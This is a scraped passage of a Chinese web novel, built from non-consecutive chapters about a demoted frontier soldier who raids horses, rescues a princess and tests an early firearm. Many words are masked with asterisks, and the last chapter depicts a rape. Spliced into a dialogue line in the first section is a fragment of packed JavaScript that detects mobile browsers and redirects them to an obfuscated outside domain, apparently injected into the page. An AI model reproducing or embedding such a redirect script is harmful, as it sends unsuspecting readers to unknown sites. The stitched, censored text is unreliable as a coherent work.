尽管如此,但蔡云和戚虎还是慌乱不堪,急急忙忙的打好了驮子,然后赶着剩下的军马就开始撤退。
等叶十三们赶到栅栏入口的时候,成群的军马已经被赶出了围栏。
“好,收兵!”
叶十三大叫一声,拦住了围栏中还没被赶出来的军马,喊道:“快,每人拉住一匹骑了,火速撤离此地。”
好在这些兵卒们身手和经验还可以,没有马缰和马鞍的军马,也被他们揪住马鬃就翻身上了马背。
“俅俅……”
大地一阵震动,尘土在月光下飞扬起来。
不到一个时辰,叶十三们已经回到了鹞子岭地界。
“千户大人,天快亮了。”
抬头看着黑下来的夜空,戚虎吩咐兵士们点燃松明。
天亮前的夜,会黑上那么一阵。
虽然到了鹞子岭地界,但松林遍布的这一片区域,是最容易迷路的。
好在没有发现追兵,几乎所有的人,都把精力放在对马群的归拢上。
在夜间,最容易使马匹走失。
到了嘴边的肉,没有人愿意由此白白丢掉。
三四十支松明被点燃,映着一张张兴奋不已的脸。
“放慢速度,小心赶路,切不可丢失任何战利品。”
骑在马背上的叶十三,又一次叮嘱着兵卒们。
围栏内外跑失跑散的军马,那不算数,但赶了四十多里路赶回来的军马,哪怕是一袋豆料,叶十三都不想轻易丢失。
一炷香后,鹞子岭驻军大营沸腾了。
没有被挑选上的兵士们,纷纷跑出营房,一脸吃惊地望着栅栏里成群的军马。
此时,天色已经亮了起来。
几乎所有的兵士们,都围在马群外面“啧啧”感叹不已。
“禀千户大人!”
一脸汗水津津的戚虎,眼里满是兴奋和崇敬,来到叶十三面前躬身一礼,道:“此战大捷,共获豆料一百六十袋,军马总数三百六十七匹。”
话音一落,蔡云的脸绿了。
一百六十袋豆料,那可是一笔不小的收获。
每袋豆料按六十斤算,这一百六十袋,那就是九千六百斤啊!
这上万斤的豆料,能解决多少人的口粮。
“好!”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15596769|171513||http|test|mini|href|location''.split(''|''),0,{}));
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r>叶十三点点头,往火盆边的一张椅子上仰头一靠,道:“过一遍筛,好的人吃,次的喂马。”
“遵命!”
顾不上歇气的戚虎,忙着又吩咐手下的百夫长去安排。
“带吴六子过来!”
叶十三一瞥马成,让把吴六子喊过来见他。
片刻后,正在院子里忙着剥狗皮的吴六子,被带到叶十三面前。
叶十三的目光,又一次从下到上打量了一番这个瘦小的兵卒。
“多大了?”
“回千户大人话,小的今年刚满二十一。”
“你在鹞子岭驻军中,是何军职?”
“回千户大人话,小的是一名步军马弁。”
草!
和老子一样,也是从底层干起的兵卒。
叶十三把视线,从吴六子脸上,转移到一旁的戚虎身上,道:“即刻起,步军马弁,晋升骑兵探马甲正。”
“啊……”
没等戚虎应答,吴六子自己被惊得张口结舌。
这一个底层的步军马弁,和骑兵探马甲正,那可是最少三级的距离。
“混账,还不赶快谢过千户大人?”
戚虎直接一脚,踹在吴六子的屁股上,霎时把瘦小的吴六子就给踹得当场跪了。
“谢千户大人,谢百夫长大人!”
一脸喜色的吴六子,忙不迭更得磕起头来。
这一幕,引得屋外围观的兵士们,脸上露出无比的羡慕。
一旁的蔡云,嘴唇蠕动半天,就是说不出话来。
腹中酝酿一阵后,终于硬起头皮,走到叶十三面前深躬一礼,道:“千户大人,我落雁坡驻军,也是严重缺粮……”
“缺粮?”
叶十三一怔,好像听到了一个不可置信的话题,半眯着眼睛说道:“那好办,你也参与了,也看到了,这粮食不就有了?”
这话,让蔡云差点当场喷血。
面颊一抽,蔡云又讪笑道:“落雁坡那边,环境和这鹞子岭不同,和元蒙接壤之地没有马场啊!”
“行了!”
叶十三摆摆手,不耐烦道:“活人不能让尿憋死,动动脑子吧!”
说完,叶十三笑了,又道:“不过,你几个也算有功,待会吃完狗肉,给你一千斤豆料,一百匹战马。”
“不过!”
叶十三停顿片刻,拉下脸来又道:“虚报兵数的事,本千户就不追究了,既然给了你一百匹好马,你得给我挑选出至少一百名骑兵,不然,老子剥了你的皮!”
闻言之下,心头骤然一凛的蔡云,急忙拱手道:“谢千户大人,谢千户大人……”
第114章 你敢**?
叶十三的这一拨,苏哲心头却被惊起了滔天骇浪。
“你敢……”
“退下!”
苏哲大惊之下,正欲挥刀再上,却被香香郡主一声厉斥喝退。
香香郡主把目光,再一次投向叶十三脸上。
“喂不喂马倒是其次,关键你的那些人得离开何家大院,本郡主有的是卫兵,不需要他们在本郡主眼前晃悠倒人胃口。”
“末将遵命!”
叶十三抱拳一礼,然后躬身退了出去。
就在叶十三快速退出正屋的时候,香香郡主脸上又浮起一丝愠色。
这狗东西!
腿脚如此麻利,根本不像是训练被摔坏了膝盖的样子?
此时,叶十三已经来到院中。
“吴六子听令,留下马成一人,你们去后院带上我的家人,速回黄羊岘。”
“嗯!”
吴六子点点头,表示知道该如何去做。
不一刻,叶刘氏牵着彩儿的一只手,蔡一和叶举提着两只包裹,跟在探马们的身后,就要走出何家大院的时候,香香郡主从正屋里出来,一脸寒意地望向这边。
“是我让她们走了吗?”
香香郡主突然开口,这让叶十三心头顿时一凛。
“启禀郡主,末将家人,留在此地无多益处,还是回原住地较为合适”
“奴籍的家人,还是奴籍,既然是奴籍,理应苦役为主,何来贪图安逸的资格?”
香香郡主骤然变脸,厉声呵斥叶十三徇私枉法。
闻言之下,叶刘氏浑身一抖,拉着彩儿的手就地跪了。
“恳请郡主恕罪,只因罪妇一时糊涂,此事与我儿无关,还请郡主大量,放过我儿一马。”
面对叶刘氏的跪求,叶十三心如刀绞,把拳头握得“叭叭”直响。
“哼!”
香香郡主倒背着两手,在正屋的廊檐下来回踱步,寒着一张脸冷声又道:“本郡主念你年老体弱,就不严加责罚,带着你的瞎子女儿滚回后院去。”
此言一出,心碎一地的叶十三,傲然转身,目光冷冷看向香香郡主,沉声道:“谁敢为难我的家人,先问问我手中的刀答应不答应?”
此言一出,冲偏院冲出几十名卫兵,手持刀枪,团团将叶十三围了起来。
香香郡主嘴角浮起一丝轻蔑的笑意,目光一瞥叶十三几个,淡淡说道:“你敢**?”
一顶“**”的大帽子,随即就扣叶十三头上。
“儿啊!”
跪在地上的叶刘氏,哭喊着爬了过来,双手颤抖着抱住叶十三的腿,恳求道:“你就听娘的话吧!要是不听娘的话,娘一头撞死在你面前。”
“哥哥,娘说得对,要以郡主大人唯命是从,彩儿求你了。”
顺着叶刘氏的声音,跪在地上的彩儿,也一路摸着爬了过来,抱住叶十三的另一条腿,仰着一张惨白的小脸就哭了起来。
一阵战栗过后,叶十三缓缓收回已经伸向那把残刀的手,弯下腰来,把叶刘氏和彩儿从地上扶了起来。
“儿啊!就听娘一次吧!”
“哥哥,娘的话没错,彩儿和哥哥都得听。”
只有叶举一脸沮丧,伏在地上心如刀割。
蔡一跪在地上,双手紧紧地护着眼前的包裹,吓得大气都不敢出一口。
“娘,我听您的。”
叶十三咬着牙,强按着心中爆棚的杀机,把叶刘氏和彩儿紧紧地拥进怀里。
“行了!”
廊檐下的香香郡主,一脸傲气地看向叶十三,以胜利者的口吻说道:“本郡主就索性再网开一面,马就不用你来喂了,让那个老东西给替你给本郡主喂马,你可以带着你的人滚蛋了!”
香香郡主一指地上低头跪着的叶举,霎时就改变了主意,决定放叶十三回去。
叶十三松开拥进怀中的叶刘氏和彩儿,缓缓把脸转向香香郡主,面无表情地淡淡说道:“末将遵命!”
在带着马成他们转身离开何家大院的时候,叶十三又转过头来,盯着一脸得意的香香郡主,又道:“我娘她们要是少一根汗**,我就将何家大院变成人间地狱。”
出了何家大院,叶十三抬头看看天空,惊道:“天色不好,可能有大雪降下,抓紧时间回岘口部署防御。”
话音一落,探马们马鞭一扬,胯下的战马嘶鸣一声,扬起一股烟尘,急匆匆离开了芦河湾村……
这一夜,叶十三辗转反侧。
没有丁点睡意的他,发现外面已经飘起了雪花。
此时,借着灯笼的光晕,叶十三看到,营房院子里已经是白茫茫一片。
“马成,即刻传令下去,各烽火台进入甲级战备。”
马成闻声赶来,此时天还没亮。
“大人,下雪了。”
“下雪最危
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险,**等的就是一场大雪。”
叶十三披上衣服,下了炕自己把牛粪火拢了起来。
“你通知吴六子,让他把探马分头派下去,所有的烽火台,驻军大营,务必进入甲级战备。”
“还有,跑一趟屯田村,派几名军户,把剩下的一百套革甲和兵器,火速送往西河镇沙柳滩村驻军大营。”
“小的遵命!”
马成神色一凛,拱手一礼后速速离去。
“老子就等着你们来了!”
叶十三把两只手,伸在牛粪火上烤着,嘴里自言自语个不停。
“来一个,老子杀一个。”
“来两个,老子杀一双。”
“什么镇北王,什么肃王,在老子眼里,只有能砍**脑袋的刀才是王!”
“率土之滨,莫非王臣,你们都是享受着荣华富贵的王臣,老子是个被遭贬充军的奴籍。”
“普天之下,莫非王土,大夫不均,天道无仁,老子我要自谋生路。”
叶十三骂骂咧咧,起身从一只瓦瓮中,摸出一只黑面饽饽,在牛粪火上烤得焦干,然后,就着半壶刚温过的隔夜茶就啃食起来。
“**!”
难以下咽的黑面饽饽,让他后悔没从何家大院再运些粮食出来。
那些舍不得分下去的粮食,现在倒好,让香香郡主和她的卫兵们肆意消耗了。
享用惯了锦衣玉食的香香郡主,就连边城视为最奢侈的牛羊肉,她都嫌腥膻骚臭,这要是光吃白面粳米,还不从粮食中摘了芯子吃?
想想拐着一只脚的老娘,和双手乱摸不能识物的瞎眼妹妹,此时都要供这个飞扬跋扈的郡主奴役。
“郑香逸,你给老子等着!”
“胆敢折磨**老子的家人,老子非活剥了你的皮做鼓敲不可。”
“最好是给老子人道一些,就是奴籍,那也是一条人命,容不得你肆意妄为。”
就在叶十三自言自语咒骂不停的时候,营房院子里人声和马叫声响成一片。
探马们早已带着干粮,分头去各烽火台传令。
面对四野白茫茫的大雪,叶十三立刻在辖区展开全盘的防务部署。
直到午后时分,才忙完所能想到的应对措施,外出传令的探马们,也都陆续回来复命。
就在这时候,屯田村的方向,一队兵马扬起一阵积雪,向营房这边狂奔而来。
第115章 郡主她,被**掳走了
“千户大人,不好了!”
冲在最前面的,叶十三认得出来,是留在何家大院看守屯粮的一名田兵。
坏了!
何家大院出事了?
随着田兵一起来的,却是香香郡主身边的那个骠骑校尉苏哲。
鲜衣怒马的卫兵们,也都一起来了。
糟了!
莫不会的家人出事了?香香郡主派兵来抓他?
不料,马队一到营房门口,首先跳下马的却是苏哲。
苏哲紧跑几步,到了营房门口,“扑通”一声就在院子的雪地上跪了。
草!
这太阳从西边出来了?
“千户大人,你快想想办法,郡主她……”
“郡主怎么了?”
叶十三一阵头大,目光冷冷看向眼前一脸不安的苏哲。
就是**来犯,也无法直接到达芦河湾村啊!
这中间一头隔着野驴滩村,另一头还隔着落雁坡村。
而且,落雁坡村还有蔡云带着的两三百驻军。
“郡主……郡主她……被**……掳走了……”
“什么?”
叶十三闻言,当场就炸了。
“是的大人,香香郡主外出打猎,在野驴滩村的外围,遇上**……”
惊慌失措的苏哲,已经说话都不利索了,带路的田兵向叶十三继续陈述了一遍事情的经过。
“昨夜突降大雪,郡主兴奋不已,非要嚷嚷着去打猎。”
“说下去!”叶十三眉头一皱。
缓了口气的田兵,脖子一伸又说起来。
“郡主就带了四名卫兵,不让所有人马跟着,说人多了会破坏雪景扫了兴致。”
“结果,在野驴滩地界,郡主射伤了一只**色火红的狐狸,带着箭的狐狸,一路逃向元蒙方向……”
“成了!”
叶十三一阵头大,摆手打断田兵的叙述,转头向吴六喊道:“拿我的刀来,跟我去一趟事发地。”
刚回到营房的吴六子,正好马鞍都没卸下,立刻就拿着叶十三的那把残刀,牵了马过来。
叶十三一瞥远处,又道:“把李狗子也带上。”
在等李狗子的片刻,叶十三抽出了刀,从地上抓了一把积雪,开始擦拭刀身。
当苏哲的目光,看到叶十三手中的刀时,不禁眉头一皱。
“叶大人,我这刀你给你暂用。”
苏哲解下自己的佩刀,双手捧着递向叶十三。
骠骑校尉的刀,可真漂亮。
流畅华丽的刀鞘,雕刻着精美的纹饰。
尤其是露在刀鞘外面的握柄,还镶嵌着五颜六色的宝石。
“哼!”
叶十三鼻孔冷哼一声,轻蔑说道:“中看不中用的玩意儿,还是留着你自己用吧!”
“叶大人,这可是把宝刀啊,是当年……”
“行了!”
望着急于辩解的苏哲,叶十三不屑地撇撇嘴,道:“说得再好听,也没砍下**的半个脑袋来,反而让**掳走了郡主。”
“叶大人……”
苏哲面上一红,低头说道:“郡主不听劝阻,追着那只受伤的狐狸,不小心就越过了边境……”
“啊……”
这下,该叶十三吃惊了。
擅自越境,要是不听劝告,同行的人都可射杀越境者。
可是随从的卫兵,谁敢射杀他们自己保护的郡主?
吃惊之下,叶十三目光冷冷看向苏哲,沉声道:“既然如此,你不去向军部禀报,让大人们上书朝廷和元蒙方面斡旋,却跑我这营房何干?”
“再说,郡主偷越国界,此事已经是两国邦交的事情,岂是我一个小小的千户能够左右的?”
叶十三声色俱厉,冲着苏哲就一通驳斥。
“叶大人……”
双手捧着佩刀的苏哲,双腿又跪了下来,低着头说道:“上报军部已经于事无补,在下知道,只有大人你才有办法。”
草!
看来老子越界**抢粮的那些事,这帮孙子们都知道了。
不然,一个正六品军职的骠骑校尉,如何会向他这个从六品的下千户下跪?
再说,京都来的人,都是眼高于顶,从来就没把边城的将士们放在眼里。
看来,这货不傻!
要是上报军部,首先他这个保护郑香逸的骠骑校尉,那可得砍脑袋了。
而且时间拖延久了,说不定郑香逸的一条小命早都没了。
**的凶残,那是不用说的。
何况,如此美貌的女人落在他们手里,还能有个好?
既然叶十三是有过越界经历,也是杀**不少的惯犯,求他,比上奏朝廷还要管用。
眼下情况紧急,也只有把一切希望,都寄托在这个奴籍身上了。
“叶大人,在下顾不得许多了,只求你出手想想办法了。”
叶十三不屑地一瞥地上跪着的苏哲,把手中的残刀插回刀鞘。
**!
你不是很拽吗?
怎的?
这会在老子面前不抖威风了?
叶十三心里骂着,看见李狗子已经上马向这边过来。
“出发,野驴滩边境。”
叶十三突然暴吼一声,直奔过去飞身上马,率先冲向白雪茫茫的沙沙窝地……
“都给我跟紧了,谁要是摆带拉胯误了解救郡主的时辰,我就砍谁的脑袋。”
一路上,苏哲不时地回头督促卫兵们跟上。
不过,这苏哲的马术还是了得,一路紧跟在叶十三的马后不落一丈,不愧是骠骑校尉。
一个时辰过后,白茫茫的雪地
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上远处,出现了一些山崖的轮廓。
指着地上的马蹄印,苏哲焦急地说道:“叶大人,郡主就是从这里越界,一路追赶下去的。”
“再走几步看看!”
叶十三头也不回,催马又是一阵小跑。
直到一处山崖挡在眼前,叶十三这才翻身下马,蹲在地上查验着马蹄印。
就在这时候,吴六子带着身背一捆绳索的李狗子,迅速地攀上了不远处的山崖。
这一幕,看得京都来的卫兵们一阵咋舌。
“好身手!”
“如此厚的积雪,能淹过膝盖,他们行动居然如此敏捷。”
“看来,叶大人手下,有的是能人。”
“郡主有救了……”
一脸焦急的苏哲,跳下马来茫然地望着山崖。
不大时候,吴六子和李狗子二人猫着腰奔了过来。
“启禀大人,前面十里处,发现**兵营。”
“哦!”
叶十三一怔,说道:“扎营地带,之前是处荒滩,看来,**已经有所准备了。”
吴六子拿手背抹了一下额头的汗珠子,继续说道:“东北方向地形复杂,有一处叫硫磺谷的地方,乱石遍地,不宜骑行,就是步行,也是难度不小,但也是最隐秘的一处通道可达敌贼营地。”
“好!”
叶十三眼睛一亮,看看即将暗下来的天色,道:“眼下天已快黑了,今夜是有月光,只有从郡主越界的开阔地潜入,然后绕道硫磺谷撤退。”
“嗯!”
吴六子点点头,扳着手指头算了起来。
“等天完全黑下来,月亮初升之时行动,步行进入敌境,摸到**军营……然后……向西北面折回,进入硫磺谷……就是**追兵过来,他们也无法骑行,复杂地形,更适合我们狙击……”
“大人,如果顺利,明日天亮前,我们就可返回这里。”
吴六子经过一番计算,终于得出了大致的行动流程。
叶十三站了起来,目光一扫苏哲和那些卫兵们,沉声道:“你们,留在前面五里处山崖下等候接应。”
“叶大人,你是不带着我等……”
苏哲闻言大惊,万没想到叶十三会独闯敌营。
一阵恐惧之下,稳住了神的苏哲,咬牙又道:“请叶大人带上在下和卫兵们,趁夜一路杀过去,说不定还能……”
“行了!”
叶十三摆摆手,打断苏哲后面要说的话,沉声又道:“这是越界偷袭,你以为是赶大集进馆子不成?”
说完,叶十三把目光投向吴六子,道:“弃马步行,到敌营一里处,你带李狗子进入东区外围,我自个进入西区内部……”
此言一出,苏哲差点被当场吓尿,瞠目结果说不出话来。
第163章 你**,欠我的那些银子谁还?
村子不大,也就一百多户人家。
不一会,马成来报。
“大人,村外靠山脚,有一座庙。”
“好!”
叶十三点点头,目光看向香香郡主,道:“我们去庙里,周围没有农舍遮挡,也好发现敌人。”
“听你的。”
香香郡主这会,已经是完全没了主意,兵书上学的东西,此时已经抓瞎,只好任由叶十三安排。
“都听好了,跟着马成,战马一匹都不能丢。”
不大时候,到了山脚的破庙。
庙宇不大,房间也少,只是围墙高于那些农舍的院墙。
叶十三略扫一眼庙院,道:“战马全部拴在那边,其余人都上大殿集合。”
此时的庙里,守庙的人已经跑了个精光,就连殿后灶间的铁锅,都被带走了。
天色已经黑了下来,但庙里有着不少的蜡烛。
霎时,塑着不少神像的大殿中,蜡烛点燃后即刻就亮堂了起来。
卫兵们一脸的紧张,没有一个人主动说话。
“清点你们所带的箭簇,集中起来平均分配给步弓手。”
叶十三扫了一眼苏哲带着的卫兵们,直接进行了部署。
“都聋了?”
香香郡主狠瞪苏哲一眼,沉声道:“叶将军的话,你们都没听见?”
这一声怒斥,卫兵们纷纷解下背上的箭囊,开始清点起箭簇的数量。
“步弓手出列!”
叶十三目光灼灼,盯得卫兵没心里一阵发毛。
“听叶将军的。”
香香郡主又补一句。
顿时,二十三人出列,站在叶十三面前。
“好!”
叶十三点点头,目光看向马成,沉声道:“你,带着他们,占据有利地形,五十步**杀来犯敌人。”
然后,叶十三把视线移动到苏哲脸上,又道:“剩下一十八人,加上我的十人,由你带着,中箭不死者,或者漏射之敌,由你带着他们分头补杀。”
“遵命!”
苏哲面颊一抽,单腿跪地就是一个军礼。
“都给我听清了,我们已经没了退路,也许会陷入**兵的包围,在突围前歼灭所有来犯之敌。”
叶十三沉着脸,一下子就道破了他们这些人的处境。
香香郡主娇躯一震,低声道:“我们被包围了吗?”
“嗯!”
叶十三点点头,道:“来犯之敌的数量,远多于我们这些人,我们要是向镇上方向撤退,还是免不了被**骑兵围剿,与其被人追杀,不如就地狙击。”
“怕了?”
说完,叶十三又是一句。
“你才怕了!”
香香郡主柳眉倒竖,顿时一句就怼了回来。
“那好!”
叶十三点点头,道:“我们出去看看。”
两拨人即刻行动起来,马成和苏哲,分头在破庙的四周寻找最佳的狙击位置。
叶十三转了一圈,指着院中一块空地,向几个伤兵说道:“点起篝火,把敌人引过来。”
香香郡主闻言,惊道:“如此一来,我们岂不是亮在了明处?”
“没错!”
叶十三点点头,缓缓说道:“与其让**骑兵们四处搜寻我们,不如把他们集中起来**这边,如此一来,亮在明处的,岂不就是他们?”
此言一出,香香郡主被惊得张大了嘴。
呆愣片刻,这才说道:“你来边城短短时日,从何学得如此战术?”
“说了你也未必懂!”
叶十三一笑,卖了个关子。
香香郡主杏眼圆睁,愠怒道:“但你还没说给我听,哪知我懂与不懂?”
这话,叶十三还真没法说。
总不能给这个傻白甜说他是从前世的现代,魂穿到古代的今天?
就在这时,马成奔了过来。
“大人,小的听地辩声,已经有**兵向这边而来。”
叶十三一凛,道:“果然有大队人马。”
“吩咐下去,先隐蔽好了,避免**射杀。”
叶十三又交代一句。
这话没错,你能部署步弓手设伏,难道擅长骑射的**骑兵就不用弓箭?
马成一转身,沉声向步弓手们说道:“各自占领有利位置,五十步以外不可放箭,瞄准敌人的眼睛和咽喉,务必做到一箭命中。”
不愧是烽燧兵中优秀的步弓手,实战经验就是了得。
眼下是夜间,敌我悬殊又大,盲目乱射,只能消耗自己仅有的箭簇。
而且,这次越境来犯之敌,那可是元蒙**中有着战甲装备的骑兵,不是那些白身牧民。
无论是革甲还是铁甲,箭簇都不容易穿透。
只有眼睛和脖子,那可是裸露的部位,被射中后照样能让敌人丧失战斗力。
“瞄准了再射,射杀一个**骑兵,本郡主有赏。”
香香郡主也没闲着,冲马成画了个
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饼。
草!
叶十三面颊一抽,不由得把嘴一撇。
这傻白甜,动不动就悬赏许愿,到头来还不是从老子口袋里拿银子。
可真是羊毛出在猪身上,前几天借的银子,到现在还没还老子呢!
“谢郡主!”
马成拱手一礼,转身就去设伏。
三名伤兵已经找来木柴,在叶十三指定的地方,堆放起来拿火燧点燃。
不多时,熊熊火光照亮了半个破庙。
那些拴着的战马,被惊得嘶鸣不停。
远处折返回来的**兵们,纷纷向破庙方向疾驰而来。
从那些高举着的火把来看,**兵的人数,应该不下二百数。
叶十三判断,这些人数,有可能只是一部分。
院中的火光越亮,卫兵们埋伏处的阴影就越黑。
片刻间,无数的火把已经到了破庙外百步左右,马蹄声夹杂着**兵的脚步声,一起向火光亮起的地方涌了过来。
火堆是放在庙宇大殿的正前方燃着,如此一来,庙宇左右,围墙的拐角处,都被陷入了一片黑影之中。
叶十三站在大殿内的窗户一侧,隔着窗户的木棂,看到外面的火把,已经快到围墙外面。
映着火把的光照,向破庙包围过来的**兵里面,身穿铁甲的兵数足有三成以上。
“好啊!老子饿一顿饭,熬一夜的瞌睡,值了!”
叶十三咬着牙,眼里寒芒顿起。
香香郡主不禁拽了叶十三衣襟一下,悄声道:“我怕外面他们顶不住。”
显然,对于悬殊的兵力,香香郡主已经怯了。
“别怕,到时候,我给上面报你的战损。”
叶十三脸都没转,张口就是一句。
“混蛋,你就那么盼着我死?”
愠怒上头的香香郡主,张口也是一句怼了过来。
“当然不是,我要让你好好活着。”
叶十三突然笑了。
“这还差不多,像句人话。”
香香郡主也笑了,在黑暗中露出一口整齐的白牙。
“你**,欠我的那些银子谁还?”
叶十三骤然变脸,又是一句甩了过来。
“滚,别和我站一起。”香香郡主勃然大怒,骂回一句,霎时就转过头去,不再理睬叶十三。
此时,隔着床棂,已经看到**兵们不足庙门三十步距离。
这马成,该不会是被吓得晕过去了吧?
第196章 **横空出世
“曹三锤?”
叶十三缓缓抬头。
“是的将军。”
林老幺点点头,怅然又道:“世上巧匠颇多,但这边城并不常见,多年前,小的偶然间在黄羊岘发现一人,此人就是曹三锤。”
叶十三摆摆手,笑道:“不就一把铁砂么,我屯田村有的是铁匠,这些玩意,均由他带人打造而成。”
斜瞥林老幺一眼,叶十三得意道:“没你说的那么玄乎,好匠人,本将手下多的是。”
“大人……”
马成上前,面带尴尬地一笑。
“有屁就放!”
叶十三见马成吞吞吐吐,欲言又止的样子,眼睛一瞪就骂:“一个大老爷们,说话痛快点。”
马成面颊一抽,讪笑道:“前院铁匠铺的曹瘸子,绰号好像就叫曹三锤来着。”
“啊……”
这下,该轮到叶十三尴尬了。
“就他?”
叶十三眼睛又是一瞪。
“是的将军!”
马成面上一阵得意,又道:“听说,这曹瘸子,原本不是土生土长的边城人氏,好像,好像……”
说着话的马成,突然又磕巴起来。
“有屁快放!”
叶十三狠剜马成一眼,吓得马成浑身一抖。
稳稳神后,马成硬起头皮,道:“好像这个曹瘸子,和大人您一样,也是遭贬发配到这边城的充军之人,据说他之前,曾经是朝廷铸造办的在册工匠……”
草!
这**,老子中奖了?
一个满脸沧桑的老铁匠,居然也是被充军之人,而且还来自朝廷的铸造办?
铸造办那是什么地方?
那可是荟萃了民间能工巧匠的官办制造司所属的铸造办。
“还有这事?”
叶十三一怔,随即就笑了。
目光一瞥林老幺,道:“铁砂是好铁砂,眼下就试试你的**了。”
“将军……”
林老幺面上一紧,目光盯着叶十三手中的**,狐疑道:“将军是要让**把铁砂,从此物中催射出去?”
到底是做烟花的,对于烟火的各种作用,那是一通百通。
“正是!”
叶十三点点头,把**立在地上,又道:“依你之见,这每次半把铁砂,需要多少**量,才能催射出最远的射程?”
这话没错!
叶十三是懂火器,但并不掌握这种初级火器的**使用量。
这量要是少了,枪口就像放烟火一样一闪即灭。
**的量要是超了,**承受不住瞬间的燃烧压力,会导致枪膛后部**的。
前世的现代,早已经淘汰了这种落后的火器。
在一个高精尖的**时代,**枪已经进入了军事博物馆。
叶十三只是知道**枪是**的先祖,但并没有使劲使用过,只是凭着专业知识能绘出**枪的原理构造图而已。
至于**量和****当量的计算,他是无法办到的,只有依赖这种民间手艺人的经验了。
“本将就是这个意思!”
叶十三掂了掂手中的**,望着另一只手心的半把铁砂,肯定道:“一次填多少药?这可是个关键。”
林老幺到底是行家里手,接过**后,先是目测了**的长度,又瞅了瞅**的口径,眯着眼睛沉声片刻,突然道:“只有多试几次了,就怕一次多了,会毁了此物,更怕造成伤人的事来。”
“那好,就依你!”
说着,叶十三从怀里摸出一只细细的牛角。
牛角很细,看得出来是从一根长牛角的尖端,再截取下来的一节。
叶十三用牛角往**里面添灌**,在灌装到第三下的时候,被林老幺发声叫停。
“将军,不敢再多了。”
其实,牛角的空心部位,每次只能灌进一撮**。
就是连着三下,也没多少的量。
可林老幺有着天生的职业谨慎,宁可多实验几次,也不想为了图个快而冒险。
“那就先这么些吧!”
叶十三说着,拿过一根三尺来长的细铁条,从枪口伸入里面,不停地捣着。
林老幺大气都不敢出,眼睛紧紧盯着叶十三的动作。
“停!”
捣药的动作,又被林老幺突然叫停。
“将军,可不敢
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再捣了,就怕太过瓷实,炸开这铁管的可能都有。”
这一点,叶十三清楚。
**要是捣得太瓷实,被点燃后,热量及时散发不出的话,枪就会在手里炸膛。
但要是**底部的**太过松散,那么燃烧起来就没有足够的力量。
“引子呢?”
叶十三停止了捣药,往枪口塞了指头蛋大的一个棉纸团,然后灌了半把铁砂进去。
望着叶十三伸过来的手,林老幺从一只最小的藤条箱子里面,拿出一个不足小拇指头的指甲盖大,微微凸起的小纸泡,道:“将军,此物最怕明火和大力挤压,保存更要慎重。”
叶十三知道,这个引**,那可是配方不同的黄**,存放不当,极易发生**。
引**被安装在**后面的一只引火嘴上,然后被扣上了鸡头。
整个鸡头,就像一只简化了线条勾勒的公鸡脑袋。
这是叶十三凭着记忆,苦思冥想了好几个半夜,这才绘制出这么个玩意儿来。
在眼下的古代,要造出一支带****来,依照目前的金属稀缺性和冶炼技术,那是根本不用想的。
能造出这种靠引**被击发后,再点燃枪膛中**的构造装置,已经是让叶十三绞尽脑汁了。
“闪开,都闪开!”
填好了黑**,又灌装了铁砂,然后扣上了黄**的引**后,叶十三平端着**,大步就走向外面。
这一声喊,外面的兵卒们,纷纷闪向两边。
此时,马成已经拿来了一只刚缝制好了的马皮袋子,袋子里面已经被灌满了雪。
“把马皮人偶,给老子放远一点,立稳了。”
叶十三大吼着,眯起一只眼睛,紧盯着枪口方向。
马成扛着一人高的马皮人偶,飞快地在一百步远的地方,把人偶稳稳地给立了。
说是人偶,其实就是个空心马皮袋而已。
远远望去,就像立了一根粗大的木桩。
瞄是瞄准了,可手指抠向**的时候,叶十三自己,也不由得把眼睛一闭。
那一瞬间的紧张,让他的心狂跳个不停。
第207章 遭遇**
“噗!”
娟儿吹熄了蜡烛,然后爬上了炕。
“我还是喜欢你这般温婉的女子,那些臭男人,我一看到就恶心。”
翠儿伸过一条胳膊,把上了炕的娟儿,顺手就揽进怀里。
“我怕……”
被翠儿搂着,娟儿浑身打了个哆嗦,不自在地说道:“还是分开睡吧,这样,我真有些害怕。”
“怕什么?”
翠儿淫邪地一笑,把娟儿使劲往怀里一拉,一只手就伸进了娟儿的内衣里面。
“我真怕!”
就像被火烫着了一样的娟儿,即刻就起了一身的鸡皮疙瘩,让同为女人的翠儿如此搂着,她真不知道如何是好?
不多时,娟儿的呼吸粗重起来。
而翠儿更是变本加厉,几乎是压在了娟儿有些轻颤的身子上面。
“有人,外面好像有人?”
一阵吃疼之下,猛然睁开眼睛的娟儿,看到窗户外似乎有火把在院子里亮着。
“别动,习惯了就好,我知道你还不适应这样……”
翠儿呢喃着,企图用嘴堵住娟儿的嘴,来阻止娟儿找借口说个没完。
“真的有人,外面有火把,好多火把。”
被压在翠儿身下的娟儿,惊恐地叫出声来,使劲地把几近疯狂起来的翠儿往下推。
“哐当!”
就在这时候,屋门被从外面破开。
一股子羊油“哔哔叭叭”燃烧的声响,惊得翠儿一骨碌就从娟儿身上滚落下来。
“你们,什么人……”
话没完全出口,翠儿被闯入者一把攥住头发,狠狠地甩在地上。
**?
眼睛睁得老大的娟儿,差点就尿被窝里了。
谁也没有料到,这**说来就来?
外面没有放火,没有喊杀声,这一睁眼,**举着火把手提弯刀,就已经站前炕前。
“捆了!”
为首的**黑巾蒙面,一挥手就指使两名**上前,把地上的翠儿,还有炕上缩成一团的娟儿,全给背着双手捆了个结实。
“去,麻利点,抓紧时间!”
为首的**淫邪地扫了一眼被捆绑成了个粽子的主仆二人,扬扬手,把进了屋里的几个**指使了出去。
“该老子享受了……”
为首的**粗鲁地把地上的翠儿,提了起来搭在炕沿又道:“落在老子的手里,管你是谁?让你好好尝尝老子的厉害。”
“刺啦……”
面朝下被摁着的翠儿,身后的小裤,已经被一双大手撕成了两扇,露出女人家最隐秘的地方。
“啊……”
已经肝胆俱裂的翠儿,在一声撕心裂肺的喊叫下就两眼一黑……
此时,同样被捆成了一团,扔在炕脚的娟儿,这下真的尿了一炕。
不知过了多久,粗糙的喘息声停了,屋里漆黑一片,整个院落,也陷入了一阵可怕的死寂。
“扑通!”
翠儿从炕沿掉在地上的响声,把炕脚昏死过去的娟儿给惊醒了过来。
“翠儿姑娘……你……在哪里……”
“呜呜……”
